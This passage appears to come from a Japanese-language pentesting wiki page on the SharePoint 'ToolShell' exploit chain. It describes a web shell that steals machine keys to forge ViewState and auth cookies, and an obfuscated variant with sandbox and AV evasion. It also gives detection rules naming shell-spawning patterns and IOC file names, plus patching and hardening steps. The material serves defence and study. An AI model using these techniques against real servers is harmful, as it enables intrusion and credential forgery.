シェルは、**マシンキーの読み取り / 回転**のためのエンドポイントを公開しており、これによりファーム全体でViewStateおよびASPXAUTHクッキーを偽造することができます。
### 3.3 難読化されたバリアント (variation-3)
同じシェルですが:
* `...\15\TEMPLATE\LAYOUTS\` に配置
* 変数名が単一の文字に削減
* サンドボックス回避とタイミングベースのAVバイパスのために `Thread.Sleep(<ms>)` が追加されました。
## 4. 検出アイデア
| テレメトリ | なぜ疑わしいのか |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | ワーカープロセスはシェルをほとんど生成しないはずです |
| `cmd.exe → powershell.exe -EncodedCommand` | クラシックなlolbinパターン |
| `debug_dev.js` または `spinstall0.aspx` を作成するファイルイベント | ToolShellからのIOC |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/モジュールログ) | 公開されたPoCがこのページを呼び出します |
例 XDR / Sysmon ルール (擬似XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. ハードニングと緩和
1. **パッチ** 2025年7月のセキュリティ更新により、*すべての* 4つのCVEが修正されます。
2. 妥協後はすべての `<machineKey>``ViewState` シークレットを**ローテーション**します。
3. `WSS_WPG` および `WSS_ADMIN_WPG` グループから *LAYOUTS* 書き込み権限を削除します。
4. プロキシ/WAFレベルで `/_layouts/15/ToolPane.aspx` への外部アクセスをブロックします。
5. **ViewStateUserKey**、**MAC有効**、およびカスタム *EventValidation* を有効にします。
## 関連するトリック
* IISポストエクスプロイトとweb.configの悪用:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## 参考文献
- [Unit42 Microsoft SharePointの脆弱性の積極的な悪用](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC ToolShellエクスプロイトチェーン](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Microsoft Security Advisory CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}